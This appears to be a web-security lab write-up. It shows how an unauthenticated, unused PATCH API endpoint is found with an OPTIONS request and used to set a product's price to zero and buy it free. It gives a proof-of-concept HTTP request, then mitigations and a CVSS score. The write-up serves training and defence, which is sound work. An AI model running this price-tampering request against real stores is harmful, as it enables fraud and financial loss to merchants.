

Finding and exploiting an unused API endpoint

Topic: API Testing | Difficulty: Practitioner

Description

The product API exposes a PATCH endpoint not used by the web frontend but fully functional and unauthenticated. By sending a PATCH request with a modified 'price' field an attacker can set any product's price to an arbitrary value including zero and then purchase the item for free.

Steps to Exploit

1. Browse the application in Burp and observe product API calls.
2. Send GET /api/products/1 to Burp Repeater.
3. Change the method to OPTIONS to enumerate allowed HTTP methods.
4. Observe PATCH listed in the Allow response header.
5. Send: PATCH /api/products/1 with Content-Type: application/json and body {"price": 0}
6. Add the product to cart and complete checkout at zero cost.

Proof of Concept

OPTIONS response:

```
Allow: GET, PATCH
```

PATCH request:

```
PATCH /api/products/1 HTTP/1.1
Content-Type: application/json

{"price": 0}
```

Result:

```
Product price set to $0.00; purchased for free.
```

Impact

- Arbitrary price modification for any product in the catalog.
- Financial loss through zero-cost purchases.
- Exploitation of undiscovered API surface not covered by business logic validation.

Mitigation / Remediation

1. Require authentication and authorization for all write operations on API endpoints.
2. Validate that price modifications are only permitted by admin roles.
3. Disable unused HTTP methods (PATCH, DELETE) on endpoints that do not need them.
4. Log and alert on unexpected HTTP method usage in API request logs.

CVSS Score

CVSS v3.1: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVSS Justification

- Attack Vector: Network.
- Attack Complexity: Low - HTTP method change and JSON payload.
- Privileges Required: None.
- User Interaction: None.
- Integrity: High - product pricing data modified.
- Confidentiality / Availability: None.